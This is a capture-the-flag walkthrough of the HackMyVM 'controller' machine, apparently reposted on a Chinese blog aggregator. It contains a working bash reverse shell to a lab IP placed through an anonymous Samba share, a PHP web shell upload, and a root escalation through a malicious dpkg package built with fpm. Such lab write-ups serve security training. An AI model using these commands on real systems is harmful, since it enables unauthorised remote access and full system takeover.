当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell

visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.

use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php.

because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
check the file which own to user webservices.
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
猜你喜欢

12.什么是JS

Small program van-cell line wrapping can be left-aligned

IO流、 编码表、 字符流、 字符缓冲流

PHP8.2的版本发布管理员和发布计划

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration

MySql高级 -- 约束

ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach

PHP基金会三月新闻公告发布

Kali install IDEA

第一次手撕代码,如何解出全排列问题
随机推荐
New usage of string variable parsing in PHP8.2
正则笔记(1)- 正则表达式字符匹配攻略
Small program van-cell line wrapping can be left-aligned
TypeScript 错误 error TS2469、error TS2731 解决办法
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
面试总结 22/7/22 面试中的重点
meime module
Using PHPMailer send mail
uniapp | 开发中遇到的兼容性问题(待续)
4.PHP数组与数组排序
[phpunit/php-timer]一个用于代码执行时间的计时器
MySql Advanced -- Constraints
Solve the problem of uni - app packaged H5 website to download image
display,visibility,opacity
Query the indexes of all tables in the database and parse them into sql
1.13 学习JS
[symfony/mailer]一个优雅易用的发送邮件类库
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
SQL:DDL、DML、DQL、DCL相应介绍以及演示
AES加密的各种蛋疼方式方式